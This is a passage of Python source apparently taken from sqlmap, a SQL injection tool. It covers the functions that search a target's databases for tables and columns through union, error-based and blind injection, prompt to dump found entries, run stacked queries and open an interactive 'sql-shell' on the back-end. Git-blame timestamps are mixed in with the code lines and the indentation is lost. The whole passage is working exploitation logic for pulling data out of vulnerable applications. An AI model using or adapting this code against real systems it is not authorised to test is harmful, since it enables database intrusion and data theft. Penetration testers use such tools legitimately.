errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce:
message = "do you want to use common table existance check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
regex = "|".join(conf.tbl.split(","))
return tableExists(paths.COMMON_TABLES, regex)
rootQuery = queries[Backend.getIdentifiedDbms()].search_table
foundTbls = {}
tblList = conf.tbl.split(",")
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblConsider, tblCondParam = self.likeOrExact("table")
for tbl in tblList:
2011-03-30 01:54:15 +04:00
tbl = safeSQLIdentificatorNaming(tbl, True)
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
tbl = tbl.upper()
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
if conf.excludeSysDbs:
2011-03-30 01:54:15 +04:00
exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
else:
exclDbsQuery = ""
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % tbl
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
query += tblQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for foundDb, foundTbl in values:
2011-03-30 01:54:15 +04:00
foundDb = safeSQLIdentificatorNaming(foundDb)
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
2011-02-10 14:34:16 +03:00
if foundDb is None or foundTbl is None:
continue
if foundDb in foundTbls:
foundTbls[foundDb].append(foundTbl)
else:
foundTbls[foundDb] = [ foundTbl ]
else:
infoMsg = "fetching number of databases with table"
if tblConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
query = rootQuery.blind.count
query += tblQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no databases have table"
if tblConsider == "1":
warnMsg += "s like"
2011-03-30 01:54:15 +04:00
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query
query += tblQuery
query += exclDbsQuery
query = agent.limitQuery(index, query)
foundDb = inject.getValue(query, inband=False, error=False)
2011-03-30 01:54:15 +04:00
foundDb = safeSQLIdentificatorNaming(foundDb)
2011-02-10 14:34:16 +03:00
if foundDb not in foundTbls:
foundTbls[foundDb] = []
if tblConsider == "2":
foundTbls[foundDb].append(tbl)
if tblConsider == "2":
continue
for db in foundTbls.keys():
2011-03-30 01:54:15 +04:00
db = safeSQLIdentificatorNaming(db)
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), db)
logger.info(infoMsg)
query = rootQuery.blind.count2
2011-03-30 01:54:15 +04:00
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % tblQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
2011-03-30 01:54:15 +04:00
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
2011-03-30 01:54:15 +04:00
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query)
foundTbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = foundTbl
2011-03-30 01:54:15 +04:00
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
foundTbls[db].append(foundTbl)
return foundTbls
def searchColumn(self):
bruteForce = False
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce:
message = "do you want to use common columns existance check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
regex = "|".join(conf.col.split(","))
2010-12-27 03:41:16 +03:00
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex))
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("n", "N"):
self.dumpAll()
return
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {}
colList = conf.col.split(",")
colCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
colConsider, colCondParam = self.likeOrExact("column")
for column in colList:
2011-03-30 01:54:15 +04:00
column = safeSQLIdentificatorNaming(column)
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
logger.info(infoMsg)
foundCols[column] = {}
if conf.excludeSysDbs:
exclDbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
else:
exclDbsQuery = ""
colQuery = "%s%s" % (colCond, colCondParam)
2011-03-30 01:54:15 +04:00
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
query += colQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for foundDb, foundTbl in values:
2011-03-30 01:54:15 +04:00
foundDb = safeSQLIdentificatorNaming(foundDb)
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
2011-02-10 14:34:16 +03:00
if foundDb is None or foundTbl is None:
continue
if foundDb not in dbs:
dbs[foundDb] = {}
if foundTbl not in dbs[foundDb]:
dbs[foundDb][foundTbl] = {}
if colConsider == "1":
conf.db = foundDb
conf.tbl = foundTbl
conf.col = column
self.getColumns(onlyColNames=True)
dbs[foundDb][foundTbl].update(kb.data.cachedColumns[foundDb][foundTbl])
kb.data.cachedColumns = {}
else:
dbs[foundDb][foundTbl][column] = None
if foundDb in foundCols[column]:
foundCols[column][foundDb].append(foundTbl)
else:
foundCols[column][foundDb] = [ foundTbl ]
else:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
query = rootQuery.blind.count
query += colQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
logger.warn(warnMsg)
continue
2010-01-11 16:06:16 +03:00
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query
query += colQuery
query += exclDbsQuery
query = agent.limitQuery(index, query)
db = inject.getValue(query, inband=False, error=False)
2011-03-30 01:54:15 +04:00
db = safeSQLIdentificatorNaming(db)
if db not in dbs:
dbs[db] = {}
if db not in foundCols[column]:
foundCols[column][db] = []
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
for db in dbData:
2011-03-30 01:54:15 +04:00
db = safeSQLIdentificatorNaming(db)
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % colQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % db
query += " AND %s" % colQuery
query = agent.limitQuery(index, query)
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
2011-03-30 01:54:15 +04:00
tbl = safeSQLIdentificatorNaming(tbl, True)
if tbl not in dbs[db]:
dbs[db][tbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True)
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
else:
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
self.dumpFoundColumn(dbs, foundCols, colConsider)
def search(self):
if conf.db:
conf.dumper.lister("found databases", self.searchDb())
2008-10-15 19:38:22 +04:00
if conf.tbl:
conf.dumper.dbTables(self.searchTable())
2008-10-15 19:38:22 +04:00
if conf.col:
self.searchColumn()
2008-10-15 19:38:22 +04:00
if not conf.db and not conf.tbl and not conf.col:
errMsg = "missing parameter, provide -D, -T or -C together "
errMsg += "with --search"
raise sqlmapMissingMandatoryOptionException, errMsg
2008-10-15 19:38:22 +04:00
def sqlQuery(self, query):
output = None
sqlType = None
getOutput = None
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
break
if not self.alwaysRetrieveSqlOutput:
message = "do you want to retrieve the SQL statement output? "
message += "[Y/n/a] "
getOutput = readInput(message, default="Y")
if getOutput in ("a", "A"):
self.alwaysRetrieveSqlOutput = True
if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveSqlOutput:
2010-03-31 17:52:51 +04:00
infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query)
logger.info(infoMsg)
output = inject.getValue(query, fromUser=True)
return output
else:
2010-12-18 18:57:47 +03:00
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
2010-10-15 19:37:15 +04:00
warnMsg = "execution of custom SQL queries is only "
warnMsg += "available when stacked queries are supported"
2010-09-25 02:09:33 +04:00
logger.warn(warnMsg)
return None
else:
if sqlType:
2010-03-31 17:52:51 +04:00
infoMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query)
else:
infoMsg = "executing unknown SQL type query: '%s'" % query
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
inject.goStacked(query)
infoMsg = "done"
logger.info(infoMsg)
output = False
return output
2008-10-15 19:38:22 +04:00
def sqlShell(self):
infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms()
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
autoCompletion(sqlShell=True)
while True:
query = None
try:
query = raw_input("sql-shell> ")
query = utf8decode(query)
2008-10-15 19:38:22 +04:00
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not query:
continue
if query.lower() in ( "x", "q", "exit", "quit" ):
break
output = self.sqlQuery(query)
if output and output != "Quit":
conf.dumper.query(query, output)
elif not output:
pass
2008-10-15 19:38:22 +04:00
elif output != "Quit":
2010-10-21 02:09:03 +04:00
dataToStdout("No output\n")